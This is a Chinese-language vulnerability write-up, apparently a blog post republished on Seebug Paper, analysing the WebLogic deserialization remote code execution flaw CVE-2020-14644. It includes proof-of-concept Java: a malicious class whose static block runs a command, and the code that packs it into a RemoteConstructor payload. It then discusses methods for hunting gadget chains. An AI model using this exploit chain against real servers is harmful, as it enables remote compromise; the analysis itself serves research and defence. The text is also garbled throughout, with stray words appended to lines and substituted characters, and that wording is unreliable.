CVE-2020-14644 分析與 gadget 的一些思考

做者:kingkk
原文連接:https://www.kingkk.com/2020/08/CVE-2020-14644
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org


java

前言

前段時間Weblogic出了七月份的補丁,其中比較受關注的有4個9.8評分的RCE,目前14625和14645在網上也都有了詳情,話說有個老哥一己之力包了其中三個屬實nb。git

img

以前也有幾個朋友問起14644的詳情,正好一塊兒分享下14644的利用,和以前疫情半年在家挖gadget的一些思考。github

CVE-2020-14644

和288三、14645不一樣的是,這應該算是一條全新的gadget,並非在原先2555的基礎上進行繞過。web

這個漏洞的主角是com.tangosol.internal.util.invoke.RemoteConstructor數組

在它的readResolve方法中會一直調用到RemotableSupport.realize()方法函數

RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize
realize`方法中有兩個比較有意思的點`defineClass`和`createInstance

img

比較熟悉Java的同窗到這裏能夠察覺到一些問題,這是一個自定義加載類並實例化的過程。工具

ysoserial中經典的TemplateImpl中就有相似的過程。學習

img

可是目前僅是函數名存在一些端倪,真要利用還得看具體的函數實現。this

先來看defineClass函數spa

img

最後又調用了重載的defineClass,但頗有意思的是這個函數IDEA跟進以後指向的是ClassLoader.defineClass

RemotableSupport的函數申明中,能夠看到這個類實際上是繼承了ClassLoader這個類的

img

就表示這個RemotableSupport.defineClass函數確實是能夠經過二進制字節碼在內存中定義類的。

而後就是考慮這個byte數組是否能夠在反序列化時被咱們控制,能夠看到這個數組是經過byte[] abClass = definition.getBytes()而來的。

這個屬性剛好是ClassDefinition的一個byte數組的成員變量,能夠在初始化時直接傳入。

img

固然光defineClass對於漏洞觸發來講是不夠的,定義了類以後,還得加載這個類,才能觸發staic方法。(不過本身挖洞的時候其實也不必那麼嚴謹,下面有個createInstance函數其實已經八九不離十了

固然這個方法確實也沒有辜負咱們的指望,獲取了該類的構造函數,並進行實例化。

img

這裏還有個須要注意的地方是defineClass的類名不像TemplateImpl中是一個任意的類名,它是根據definition的屬性而來的(應該能夠反射修改?暫時沒嘗試

String sBinClassName = definition.getId().getName();
String sClassName = sBinClassName.replace('/', '.');

這裏getName獲取到的類名是一個內部類,內部類的名字是根據ClassIdentity.m_sVersion而來的

img

而這個成員變量的值是初始化的時候定義的,是一串md5的哈希值

public ClassIdentity(Class<?> clazz) {
    this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"))));
}

不然,defineClass時指定的className與字節碼文件中的類對應不上的話就會拋出NoClassDefFoundError的異常。

這裏以12.2.1.3版本爲例(版本不一樣時類的哈希值也會不同),生成以下內部類

package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

payload的構造就比較簡單

byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"));
RemoteConstructor constructor = new RemoteConstructor(
    new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
);

return constructor;

(這裏提一句,若是你生成poc時,發現報錯的類名一直在變,應該是你把你重寫的類加到了classPath中,致使覆蓋了weblogic原有的類)

最後,常規流程走一波,彈個計算器(真搞不懂大家黑客,彈個計算器直接cmd運行很差嗎

img

我提交的時候只給了12.2.1.3.0和12.2.1.4.0的POC,不知道爲何最後給出的影響範圍只有三個(雖然我確實沒測過10.3.6和14.x的

這個漏洞比較好的地方就在於他不像2555的單向鏈式執行,致使沒法執行比較複雜的Java代碼,只能經過別的方式進一步利用。而這個漏洞能夠直接在static代碼塊中插入想要執行的代碼,利用起來比較方便。

比較麻煩的一點在於同一個Payload沒法屢次執行,緣由在於這個類在第一次觸發時已經被加載了。能夠經過生成不一樣的類或者以前提到的反射(或許?)解決這個問題。

關於gadget的一些思考

gadget的鏈式性

對反序列化(不只限於Java的反序列化,還有JSON之類的)瞭解過的人應該都知道,反序列化的實際上是一個鏈式的調用,其實對於常規漏洞來講也是,是一條從Source到Sink的調用鏈路。

只是反序列化這裏的Source比較明確,對於Java反序列化來講是readObject,對於JSON的反序列化來講是getter、setter。

但既然是一條鏈,就能夠拆卸組裝,從過不一樣的鏈接方式,組裝成另外一條新的鏈。

以CVE-2020-2555爲例,他的觸發鏈其實以下

ObjectInputStream.readObject() ->
    BadAttributeValueExpException.readObject() ->
        LimitFilter.toString() ->
            ChainedExtractor.extract() ->
                ReflectionExtractor.extract()

當時一月份的修復方式至關於在LimitFilter.toString()這裏打斷了這條鏈。

當時就感受這種修復是一種治標不治本的修復,因而就出了2883的繞過,2883的觸發鏈大體以下

ObjectInputStream.readObject() ->
    PriorityQueue.readObject() ->
        ExtractorComparator.compare() ->
            ChainedExtractor.extract() ->
                ReflectionExtractor.extract()

能夠看到,這就是典型的一個將原先的鏈進行組裝,拼接成一個新的鏈。

這樣作的好處在於能夠複用原先找到的鏈,下降構形成本。事實上ysoserial中的一些鏈也是那麼作的,經過將一些鏈中的一小節進行拼接,就生成了一個新的鏈。當時分析完ysoserial以後的雲玩家感言也就是那麼想的。

https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/#%E4%BA%91%E7%8E%A9%E5%AE%B6%E6%84%9F%E8%A8%80

這樣咱們其實在找gadget時能夠複用ysoserial中一些比較好用的鏈的一小節,例如

  • AnnotationInvocationHandler.readObject() -> ... -> Map.get()
  • PriorityQueue.readObject() -> ... -> Comparator.compare()
  • BadAttributeValueExpException.readObject() -> ... -> Object.toString()
  • HashSet.readObject() -> ... -> Object.hashCode()
  • HashSet.readObject() -> ... -> Map.put()
  • HashSet.readObject() -> ... -> Map.get()
  • Hashtable.readObject() -> ... -> Object.equals()

這樣在找gadget時就不必定非得從readObject函數開始,只要能找到上面的函數到Sink點的通路便可。

並且除了readObject其實還有readExternalreadResolve之類的函數有的話也能夠關注。

這樣在看到2555的漏洞修復的時候,其實只要找到一個Comparator.compare()觸發了ValueExtractor.extract()函數便可,事實表示這樣的難易程度就下降了不少,也就是當時2883有蠻多師傅都挖出來了的緣由。

TaintAnalysis -> CallGraph

https://github.com/JackOfMostTrades/gadgetinspector

Gadget Inspector是一款 Black Hat USA 2018 中展現的挖掘gadget的工具,據說挖2555的做者就是藉助這款自動化的工具挖出了2555(但貌似進行了一些自定義化的改動)

https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63

看過源碼的以後發現其實內部是經過一套自定義的污點分析流程,去嘗試挖掘對應的gadget,污點分析的細節和原理這裏就不展開講了。

因爲以前作過一些自動化代碼審計的工做,我的感受污點分析的方式更像一個嚴謹的工程師,其中漏洞漏報主要源自於污點傳播函數(propagate)沒有定義好,致使一些污點信息沒有作對應的標記,從而致使污點跟蹤丟失,並且這些污點傳播函數的case其實比較難徹底覆蓋。

因爲我的挖洞的需求,其實咱們的作法能夠更激進一些,但願找出更多可能觸發漏洞的點,而且接受必定的誤報量,經過必定的誤報而儘量減小漏報,並經過一部分人工的排查,從而找出漏洞。

污點分析的對象單位是一個變量,而咱們能夠將這個對象放大至函數,忽略具體的數據流走向,經過尋找Call Graph,尋找全部可能觸發Sink點的路徑。

這個過程其實就是尋找一個可能觸發的路徑,須要經過必定的人工排查,去肯定最後是否能夠觸發。但其實這樣作已經爲咱們排除了大量不可能的路徑。由於若是Call Graph都沒法找到一條可行的路徑,那就表示這個Sink點實際上是沒法觸發的。(反射除外,反射目前應該是靜態代碼沒法解決的一個痛點)

自動化這個過程當中的一些問題

實際過程當中可能還會有一些問題,仍是以以前Weblogic的鏈爲例子,好比觸發ReflectionExtractor.extract()時,在上一層的LimitFilter.toString()中代碼層面顯示的調用其實的是ValueExtractor.extract()

這就涉及到Java語言的一個比較基本且重要的特性——多態,這個ValueExtractor實際上是要在運行時才能肯定的,因此靜態代碼層面沒法肯定這個函數具體要調用的代碼塊。

這一點Gadget Inspector其實已經作了處理,它在一開始會將類之間的繼承和實現關係作了一個映射,在發現調用ValueExtractor.extract()時會去尋找全部其具體的實現,從而遍歷全部可能觸發的代碼塊。

在Call Graph + 類關係處理以後,找到的整個調用鏈可能會異常龐大,好比調用到了toString方法,可是重寫了toString的類其實不少,這樣就會產生一種指數爆炸的效果,可能須要一些限制類名、限制鏈的深度之類的操做,去避免過於長的鏈的查找。

其次就是能夠經過從Sink->Source,Source->Sink正逆向相互結合來挖掘對應的鏈,其實對於gadget這種Source比較肯定的我的比較推薦Source->Sink的尋找過程,而且根據gadget的鏈式性中提到的,將toStringhashCodecompare之類的函數也加入到Source中,減小尋找的難度。

我的感受Java反序列化的gadget其實會比JSON的要難找一些,其實嘗試去分析JSON的gadget以後會發現整個調用鏈其實都比較淺,像常規的jndi的調用鏈一般不超過3層。並且Java反序列化須要這個過程當中全部涉及到的類都繼承了Serializable接口,而且可能會遇到一些transient修飾的成員變量。

雖然Gadget Inspector中對類進行了限制,在自動化查找的時候就判斷了類是否繼承Serializable,可是感受會有一些雖然沒有繼承Serializable,可是僅調用的是一個static函數之類的狀況,致使一些可能的鏈被剔除了。因此我的更傾向於在人工排查時再去解決這些問題,只要誤報在一個能夠接受的範圍內,自動化只負責找到全部可能的狀況。(雖然我確實也遇到過找到了一條能夠觸發的鏈,可是其中一些類沒有繼承Serializable致使沒法反序列化的狀況)

例如以readResolve函數爲Source,RemotableSupport:defineClass爲Sink,就能夠找到以下的調用鏈,也是14644漏洞觸發的堆棧。

img

總結

以上就是CVE-2020-14644的漏洞詳情,以及上半年疫情呆家對gadget挖掘一些思考,歡迎感興趣的師傅一塊兒交流學習。


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1281/

相關文章
相關標籤/搜索